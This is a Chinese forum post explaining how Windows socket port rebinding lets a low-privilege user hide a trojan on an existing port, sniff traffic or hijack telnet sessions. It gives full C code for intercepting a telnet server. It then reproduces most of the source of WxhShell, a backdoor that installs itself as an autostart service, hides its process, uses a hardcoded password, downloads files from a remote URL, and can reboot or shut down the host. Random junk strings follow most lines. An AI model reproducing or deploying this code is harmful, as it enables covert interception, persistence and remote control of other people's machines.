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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n)yqb  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9z#IdY$a  
0Sk{P>A  
  saddr.sin_family = AF_INET; Sl1N V  
=0S7tNut  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4|qp&%9-  
p%BO:%v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k95vgn%  
&IPT$=u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hwJ.M4  
$HRpG  
  这意味着什么?意味着可以进行如下的攻击: ^*W3{eyi(L  
Oqyh{q%]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +e\u4k{3V  
ocvBKsfhE`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D c^d$gh  
h!.(7qdd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {|cA[#j#  
Tn|re Xc0e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v|e>zm <  
I`|>'$E[r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ua4} dW[w  
1D$k:|pP~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z'E@sc 9  
9iUw7-)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Uvp?HZ\Z  
`&o|=  
  #include 'EQAG' YV  
  #include =vWnqF:  
  #include =~)n,5  
  #include    ~vgW:]i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *UTk. :G5  
  int main() xg8<b  
  { Z7 @#0;g{  
  WORD wVersionRequested; {VFp fo  
  DWORD ret; #Xc~3rg9  
  WSADATA wsaData; NJ~'`{3v  
  BOOL val; WJ%b9{<  
  SOCKADDR_IN saddr; R$\ieNb  
  SOCKADDR_IN scaddr; ^m~=<4eX  
  int err; C]k\GlhB  
  SOCKET s; [4gv_g  
  SOCKET sc; :c\NBKHv*  
  int caddsize; lm+wjhkN  
  HANDLE mt; .p&M@h w  
  DWORD tid;   /w|YNDA]j  
  wVersionRequested = MAKEWORD( 2, 2 ); =<<\Uo  
  err = WSAStartup( wVersionRequested, &wsaData ); ?lTQjw{  
  if ( err != 0 ) { U|>Js!$  
  printf("error!WSAStartup failed!\n"); a P`;Nr=  
  return -1; !U91  
  } OSBE5  
  saddr.sin_family = AF_INET; hk~ s1"  
   N.fIg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uaS?y1:c  
V{8mx70  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V/03m3!q  
  saddr.sin_port = htons(23); >uVG]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F$caKWzny5  
  { __a9}m4i7x  
  printf("error!socket failed!\n"); , vR4x:W  
  return -1; I?1^\s#L  
  } % $J^dF_0  
  val = TRUE; -v]7}[ .[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q>|<R[.7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Dd*C?6  
  { x[_+U4-/  
  printf("error!setsockopt failed!\n"); Ft07>E$/Q^  
  return -1; 0g1uM:;  
  } C 9DRVkjj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J^u{7K,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H.YntFtD'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #e=[W))  
$+Xohtt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9Gy1T3y5"  
  { Alrk3I3{  
  ret=GetLastError(); zfS`@{;F`|  
  printf("error!bind failed!\n"); H#f FU  
  return -1; ,i'>+Ix<  
  } RxAZ<8T_  
  listen(s,2); |d{4_o90  
  while(1) ZN. #g_  
  { rx%lL  
  caddsize = sizeof(scaddr); +] FdgmK:  
  //接受连接请求 M]oaWQu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [z/OY&kF  
  if(sc!=INVALID_SOCKET) EayZ*e ]  
  { rUlXx5f  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XXO   
  if(mt==NULL) huO_ARwK'  
  { tYVmB:l  
  printf("Thread Creat Failed!\n"); pJV<#<#Z  
  break; ;0 ,-ywK  
  } ]@_*O$  
  } O Qd,.m  
  CloseHandle(mt); Qax=_[r  
  } "zv?qS  
  closesocket(s); hivWQ$6%  
  WSACleanup(); ^W;\faG  
  return 0; _/hWzj=q  
  }   g$uj<"^  
  DWORD WINAPI ClientThread(LPVOID lpParam) orJN#0v4  
  { %?K'eg kp  
  SOCKET ss = (SOCKET)lpParam; <5=^s%H  
  SOCKET sc; *!vwW T  
  unsigned char buf[4096]; 2|m461   
  SOCKADDR_IN saddr; |SCO9,Fs  
  long num; '};pu;GA7  
  DWORD val; 2WqjNqx)6  
  DWORD ret; @?TOg{:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {ymD.vf=9+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rxt)l  
  saddr.sin_family = AF_INET; G{)2f &<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); : W^ k3/t  
  saddr.sin_port = htons(23); 9[T}cN=|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NU O9,  
  { /alJN`g  
  printf("error!socket failed!\n"); i ,ga2{GnM  
  return -1; ~~z} yCl  
  }  `i;f  
  val = 100;  "H#2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8do-z"-  
  { .O@T#0&=_  
  ret = GetLastError(); U8 '}(  
  return -1; `bNY[Gv>)  
  } # R}sGT  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C`Zz\DNG@  
  { &Yb!j  
  ret = GetLastError(); @w?hX K=  
  return -1; saY":fva  
  } c3lU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t 7dcaNBZ  
  { | bDUekjR  
  printf("error!socket connect failed!\n"); E {*d`n  
  closesocket(sc); 3,t3\`=  
  closesocket(ss); Q3T@=z2j%  
  return -1; e-Mei7{%  
  } VBo=*gn,$  
  while(1) C8ek{o)%W  
  { {%gMA?b|"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zb.dVK`7N-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @p"m{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]2Zl\}GwY  
  num = recv(ss,buf,4096,0); s,Azcqem  
  if(num>0) o!bV;]  
  send(sc,buf,num,0); j"1#n? 0  
  else if(num==0) NSI$uS6  
  break; H[S[ y  
  num = recv(sc,buf,4096,0); n 'gU  
  if(num>0) ir !/{IQx  
  send(ss,buf,num,0); 4d-f 6iiFV  
  else if(num==0) ~lib~Y'-  
  break; NCL!|  
  } JS$ojL^  
  closesocket(ss);  >cw%ckE  
  closesocket(sc); gaV>WF  
  return 0 ; Qh3BI?GZ'3  
  } }LeizbU  
u0p[ltJ,  
Ce_k&[AJF  
========================================================== qjDt6B^RO  
_Fkz^B*  
下边附上一个代码,,WXhSHELL #p$iWY>e~  
y rH@:D/  
========================================================== -aPRL HR  
gjFpM.D-.  
#include "stdafx.h" 0i[v,eS  
y!eT>4Oyg  
#include <stdio.h> ;8m)a  
#include <string.h> *!NxtB!LC  
#include <windows.h> TMJq-u51  
#include <winsock2.h> W-D{ cU  
#include <winsvc.h> XtCG.3(LY  
#include <urlmon.h> _xY dnTEl  
Vq$8!#~w  
#pragma comment (lib, "Ws2_32.lib") 6--t6>5  
#pragma comment (lib, "urlmon.lib") \w#)uYK{i_  
G{CKb{  
#define MAX_USER   100 // 最大客户端连接数 FNlS)Bs  
#define BUF_SOCK   200 // sock buffer '-X[T}  
#define KEY_BUFF   255 // 输入 buffer Q-<h)WTA  
~ kwS`  
#define REBOOT     0   // 重启 }iIZA>eF  
#define SHUTDOWN   1   // 关机 _59f.FsVR  
#K&XY6cTj  
#define DEF_PORT   5000 // 监听端口 x4bmV@b  
]}4JT  
#define REG_LEN     16   // 注册表键长度 G9_7jX*  
#define SVC_LEN     80   // NT服务名长度 \~X:ffb =  
f*o+g:]3  
// 从dll定义API r:3h 2J[_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z=/&tRe W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YC[c QX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +9exap27  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /#}o19(-d  
;x.5_Xw{.  
// wxhshell配置信息 \Vb|bw'e(  
struct WSCFG { V9Pw\K!w#\  
  int ws_port;         // 监听端口 <c3Te$.  
  char ws_passstr[REG_LEN]; // 口令 +R"Y~ m{F  
  int ws_autoins;       // 安装标记, 1=yes 0=no L9{y1'')  
  char ws_regname[REG_LEN]; // 注册表键名 Y[!s:3\f  
  char ws_svcname[REG_LEN]; // 服务名 |W*#N8I P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?`T Q'#P`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L8,/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o3W@)|>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wU(p_G3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l=UXikx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X4eoE  
nD.K*#u  
}; fU<_bg  
8'qq!WR~  
// default Wxhshell configuration /Bq4! n+  
struct WSCFG wscfg={DEF_PORT, y**YFQ*sc  
    "xuhuanlingzhe", 7bk`u'0%  
    1, %/oeV;D  
    "Wxhshell", Cz|F%>y#  
    "Wxhshell", NK\0X5##.  
            "WxhShell Service", ;F|8#! (  
    "Wrsky Windows CmdShell Service", nvB< pSm  
    "Please Input Your Password: ", s+t[{i4|  
  1, Gv&%cq1  
  "http://www.wrsky.com/wxhshell.exe", ,n{R,]y\  
  "Wxhshell.exe" A01PEVd@A  
    }; .;F%k,!v  
6t=)1T  
// 消息定义模块 .WLwAL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u-M Td  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #+&"m7 s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tH=jaFJ   
char *msg_ws_ext="\n\rExit."; ZZ>F ^t  
char *msg_ws_end="\n\rQuit."; GC`/\~TM  
char *msg_ws_boot="\n\rReboot..."; v, |jmv+:  
char *msg_ws_poff="\n\rShutdown..."; [}I|tb>Pg  
char *msg_ws_down="\n\rSave to "; wEZieHw  
T]x]hQ  
char *msg_ws_err="\n\rErr!"; bgeJVI  
char *msg_ws_ok="\n\rOK!"; _Un*x5u2O  
?f= ~Pn+  
char ExeFile[MAX_PATH]; CC)Mws+2  
int nUser = 0; VpX*l3  
HANDLE handles[MAX_USER]; 3/y"kl:< -  
int OsIsNt; :28[k~.bo  
; GEr8_7  
SERVICE_STATUS       serviceStatus; s14D(:t(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =6a=`3r!I  
G/ H>M%M  
// 函数声明 qND:LP\_v  
int Install(void); SohNk9u[8  
int Uninstall(void); e(I;[G +%,  
int DownloadFile(char *sURL, SOCKET wsh); <m/XGFc  
int Boot(int flag); _6m{zvyX>  
void HideProc(void); @6M>x=n5  
int GetOsVer(void); [9d\WPLC  
int Wxhshell(SOCKET wsl); ;OC{B}.vH  
void TalkWithClient(void *cs); MU4BAN   
int CmdShell(SOCKET sock); 87F]a3  
int StartFromService(void); NIAji3  
int StartWxhshell(LPSTR lpCmdLine); G\R6=K:f7  
%?3$~d\n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jx'hxC'3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1{Ik.O)  
l{QlJ>%~{;  
// 数据结构和表定义 BCO (,k  
SERVICE_TABLE_ENTRY DispatchTable[] = m2HO .ljc  
{ OaKr_m  
{wscfg.ws_svcname, NTServiceMain}, +7{8T{  
{NULL, NULL} oT|:gih5  
}; \0K&2'  
M< H+$}[  
// 自我安装 ]c1#_MW  
int Install(void) kzVK%[/  
{ &oE'|^G  
  char svExeFile[MAX_PATH]; p+228K ;H  
  HKEY key; .l,]yWwfK  
  strcpy(svExeFile,ExeFile); =QIu3%&  
*x_e] /}  
// 如果是win9x系统,修改注册表设为自启动 )X3 |[4R  
if(!OsIsNt) { ]@m`bs_6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XP[~ :+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r?9".H  
  RegCloseKey(key); 3e>U(ES  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .e4upT GU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +i[@+`  
  RegCloseKey(key); v|dt[>G  
  return 0; ~Rx`:kQ  
    } ^A=2#j~H\  
  } WD5jO9Oai  
} 9rIv-&7'm  
else { ixL[(*V  
 /i   
// 如果是NT以上系统,安装为系统服务 kkJ8xyO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A@;{ #.O  
if (schSCManager!=0) e:K'e2  
{ l3+G]C&<  
  SC_HANDLE schService = CreateService 3sgo5D-rMI  
  ( /z(d!0_q|v  
  schSCManager, {P3gMv;  
  wscfg.ws_svcname, %_G '#Bn<  
  wscfg.ws_svcdisp, sX ]gL  
  SERVICE_ALL_ACCESS, K"!U&`T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t qUBl?i  
  SERVICE_AUTO_START, 8g=];@z  
  SERVICE_ERROR_NORMAL, cG(%P$  
  svExeFile, XtE O)  
  NULL, {b-SK5%]L  
  NULL, a5(9~. 9  
  NULL, Z{gDEo)  
  NULL, |WNI[49  
  NULL T)tTzgLD}  
  ); t~$8sG\  
  if (schService!=0) AF, ;3G  
  { FxT]*mo  
  CloseServiceHandle(schService); r*ziO#[  
  CloseServiceHandle(schSCManager); [ {HTGz@(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;Ah eeq746  
  strcat(svExeFile,wscfg.ws_svcname); F&C< = l\X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '+GY6Ecg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O_ vH w^  
  RegCloseKey(key); It VVI"-  
  return 0; p<&>1}j=  
    } Y/LS(b*  
  } WEoD ?GLS8  
  CloseServiceHandle(schSCManager); VA`VDUG,  
} PP/#Z~.M  
} hu7o J H  
2@Q5Ta #h  
return 1; L=.@hs  
} 6G(K8Q{>  
.yHK  
// 自我卸载 (4IP&^j:\  
int Uninstall(void) ;kZJnN"y  
{ Q(R -8"  
  HKEY key; ?X\uzu  
m|;gl|dTB  
if(!OsIsNt) { m8eoD{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;iQw2XhT  
  RegDeleteValue(key,wscfg.ws_regname); y-S23B(  
  RegCloseKey(key); \?|^w.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0g Hd{H=  
  RegDeleteValue(key,wscfg.ws_regname); Zqv  
  RegCloseKey(key); yTNHM_P  
  return 0; B,` `2\B  
  } N7GZ'-t^Er  
} Hd TB[(  
} 3Vk\iJ  
else { - ~*kAh  
&i6JBZ#~,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A<(Fn_ &W  
if (schSCManager!=0) mR|']^!SE  
{ "*S_wN%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XsSDz}dg  
  if (schService!=0) fo <nk|i  
  { TkIiO>  
  if(DeleteService(schService)!=0) { E 0OHl  
  CloseServiceHandle(schService); jw/@]f;N  
  CloseServiceHandle(schSCManager); m63>P4h?  
  return 0; hpq\  
  } Bsk` e  
  CloseServiceHandle(schService); dp2FC   
  } xCyD0^KY  
  CloseServiceHandle(schSCManager); PG @C5Rnu  
} ZTj!ti;5  
} dz/3=0  
hM&VMa[  
return 1; ? :A%$T  
} 1uEM;O  
QtcYFf g  
// 从指定url下载文件 DYrci?8Ith  
int DownloadFile(char *sURL, SOCKET wsh) %`s1 Ocvp  
{ |`|zo+aW  
  HRESULT hr; 9`CJhu  
char seps[]= "/"; iAeq%N1(0  
char *token; a=sd&](_  
char *file; "|N0oEG&  
char myURL[MAX_PATH]; Xi~I<&  
char myFILE[MAX_PATH]; w}M)]kY  
! GtF%V  
strcpy(myURL,sURL); i&<@}:,  
  token=strtok(myURL,seps); ] pv!Ll  
  while(token!=NULL) ]4'V59\  
  { q4vHsy36  
    file=token; f1B t6|W%  
  token=strtok(NULL,seps); dIA1\;@  
  } [(vV45(E  
IK8" 3+(  
GetCurrentDirectory(MAX_PATH,myFILE); cnDF`7xrT  
strcat(myFILE, "\\"); 31F^38  
strcat(myFILE, file); umpa!q};  
  send(wsh,myFILE,strlen(myFILE),0); n" vO?8Sx  
send(wsh,"...",3,0); 6aWNLJ@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !G<gp4Js+N  
  if(hr==S_OK) @lqI,Ce5  
return 0; `'9t^ 6mk  
else 5!57<n  
return 1; n:}'f- :T  
er@.<Dc  
} c'Q.2^w^  
hn$jI5*`  
// 系统电源模块 YWDd[\4  
int Boot(int flag) &x@N5j5Q  
{ ?9T,sX:  
  HANDLE hToken; R[#B|$  
  TOKEN_PRIVILEGES tkp; R$">  
$_|jI ^  
  if(OsIsNt) { n8q%>.i7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z5*O\kJv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /<J5?H  
    tkp.PrivilegeCount = 1; (m')dSZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #?Ob->v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f J%A_N}  
if(flag==REBOOT) { VK|$SY(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LX(`@-<DH  
  return 0; 20M]gw]  
} cA{,2CYc  
else { kZcGe*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N0YJ'.=8,  
  return 0; awLSY:JI  
} GwG(?_I"  
  } u~Y+YzCxV  
  else { V9;IH<s:  
if(flag==REBOOT) { Vp8!-[R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jk])S~xl?  
  return 0; ph3dm\U.  
} w3Dqpo8E  
else { 0{stIgB$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g&/r =U  
  return 0; -(E-yC u  
} Q.f D3g  
} +X>Aj=#  
HzZX=c  
return 1; Wa iM\h?=#  
} ciN*gwI)  
ko~e*31_E  
// win9x进程隐藏模块 JNI&]3[C>?  
void HideProc(void) p(yHB([8  
{ G.^^zmsM`  
T1RICIf 1F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,!98V Jmr  
  if ( hKernel != NULL ) OV-#8RXJ  
  { .0dx@Sbv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Wf&i{3z[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Fn;Gq-^7@  
    FreeLibrary(hKernel); W)`H(J  
  } f=>ii v  
V)mi1H|m  
return; T 0?9F2  
} ZRUI';5x  
Pj7MR/AH  
// 获取操作系统版本 ]w!=1(  
int GetOsVer(void) # tU@\H5kN  
{ De49!{\a  
  OSVERSIONINFO winfo; FuP~_ E~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); = Fwzm^}6  
  GetVersionEx(&winfo); $-n_$jLY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _!o0bYD  
  return 1; e?e oy|  
  else tSiQr I  
  return 0; 2K2*UC`f  
} s~I#K[[5  
VWMr\]g  
// 客户端句柄模块 ?T>NvKF  
int Wxhshell(SOCKET wsl)  s)9 sb J  
{ :(4];Va  
  SOCKET wsh; "':SWKuMx  
  struct sockaddr_in client; &G7@lz@sK+  
  DWORD myID; 9YwS"~Q =w  
=jvN8R*[  
  while(nUser<MAX_USER) ^ ;cJjl'=  
{ 2VkA!o4nP  
  int nSize=sizeof(client); K$-|7tJon  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 22D,,nC0+=  
  if(wsh==INVALID_SOCKET) return 1; .U,>Qn4/  
eie u|_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3\5I4#S  
if(handles[nUser]==0) ?M04 cvm  
  closesocket(wsh); -raZ6?Zjc  
else 5:l"*  
  nUser++; dg;E,'e_ p  
  } P~@I`r567  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X+//$J  
^ANz=`N5,  
  return 0; mz^[C7(q'(  
} Q0TKM >  
vpu   
// 关闭 socket NqN9  
void CloseIt(SOCKET wsh)  83:qIfF  
{ \3cg\Q+~  
closesocket(wsh); OLDEB.@  
nUser--; |d_ rK2  
ExitThread(0); 5K|s]Y;  
} ~#iAW@  
w%f51Ex  
// 客户端请求句柄 +9_E+H'?!  
void TalkWithClient(void *cs) }-paGM@'Nd  
{ #EO],!JM  
13I~   
  SOCKET wsh=(SOCKET)cs; lziC.Dpa  
  char pwd[SVC_LEN]; ` aaT #r  
  char cmd[KEY_BUFF]; .%mjE'  
char chr[1]; i-&"1D[&  
int i,j; /S%!{;:  
|r53>,oR<:  
  while (nUser < MAX_USER) { 6 ZVD<C:\  
|( R[5q  
if(wscfg.ws_passstr) { ZRCUM"R_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f8 L3+u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zuBfkW95+  
  //ZeroMemory(pwd,KEY_BUFF); Q37zBC 0  
      i=0; i<{/r-w=E  
  while(i<SVC_LEN) { Z/I`XPmk  
R]_fe4Y0  
  // 设置超时 hFt~7R  
  fd_set FdRead; 0"=}d y  
  struct timeval TimeOut; x`p3I*_HT5  
  FD_ZERO(&FdRead); .y~~[QF}8  
  FD_SET(wsh,&FdRead); "RsH'`  
  TimeOut.tv_sec=8; yykyvy  
  TimeOut.tv_usec=0; edh<L/%D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '5n=tRx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JLV?n,nF  
NKw}VW'|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OGU#%5"<  
  pwd=chr[0]; |n.ydyu`  
  if(chr[0]==0xd || chr[0]==0xa) { | b)N;t  
  pwd=0; O; <YLS^|6  
  break; ,5Tw5<S  
  } P+;@?ofB  
  i++; =v/x&,Uj@6  
    } M.}QXta  
.s<tQU  
  // 如果是非法用户,关闭 socket 74*iF'f?c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "_/5{Nc$  
} hdee]qLS  
vghn+P8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w^QqYUL${  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [{9&KjI0K  
Q@#Gm9m  
while(1) { G3t 4$3|  
0B~Q.tyP  
  ZeroMemory(cmd,KEY_BUFF); \{`*`WQF  
K?aUIkVs  
      // 自动支持客户端 telnet标准   V3}$vKQ  
  j=0; =6+j Po{F  
  while(j<KEY_BUFF) { N_>}UhZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XvW $B|  
  cmd[j]=chr[0]; 7q:  
  if(chr[0]==0xa || chr[0]==0xd) { M;qV% k  
  cmd[j]=0; (3Z~EIZz  
  break; We*c_;@<  
  } ^o*$+DbC  
  j++; zs@[!?A,  
    } d@t3C8  
$~*d.  
  // 下载文件 9 8eS f  
  if(strstr(cmd,"http://")) { quw:4W>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E.~~.2   
  if(DownloadFile(cmd,wsh)) MOW {g\{\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B 9AE*  
  else Sf0[^"7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :7Q, `W9  
  } |qsY0zx  
  else { o] 7U;W  
R!LKGiN  
    switch(cmd[0]) { *npe]cC  
  A?8 29<  
  // 帮助 -d6*M*{|  
  case '?': { L #l|}u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ? /Z hu  
    break; XS/5y(W  
  } wY j~(P"  
  // 安装 7oI^shk  
  case 'i': { OT5'cl  
    if(Install()) f*SAbDE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  g8_IZ(%:  
    else &vp0zYd+v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z;JZ<vEt92  
    break; 9#@CmiIhy  
    } vXM``|  
  // 卸载 3M&75OE  
  case 'r': { L&nGjC+Lr  
    if(Uninstall()) 2=l !b/m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oxPb; %  
    else RycO8z*p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8;s$?*G i  
    break; |!{ BjOAD'  
    } bz? *#S  
  // 显示 wxhshell 所在路径 d.&~n`Rv!p  
  case 'p': { O}3M+  
    char svExeFile[MAX_PATH]; %7?v='s=  
    strcpy(svExeFile,"\n\r"); OAQ'/{~7  
      strcat(svExeFile,ExeFile); ,FPgbs  
        send(wsh,svExeFile,strlen(svExeFile),0); vv,(ta@t2  
    break; $'Hg}|53  
    } TGz5t$]I  
  // 重启 ?iBHJ{  
  case 'b': { Aq{m42EAj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P!";$]+  
    if(Boot(REBOOT)) _9Ig`?<>I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f(E  'i>  
    else { rXz,<^Hmj  
    closesocket(wsh); }f6x>  
    ExitThread(0); 1v&!`^G99j  
    } ? I}T[j  
    break; z {J1pH_X  
    } r8 M/E lbk  
  // 关机 $*H>n!&  
  case 'd': { LHWh-h(s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A4?_ 0:<  
    if(Boot(SHUTDOWN)) &~Q ?k  
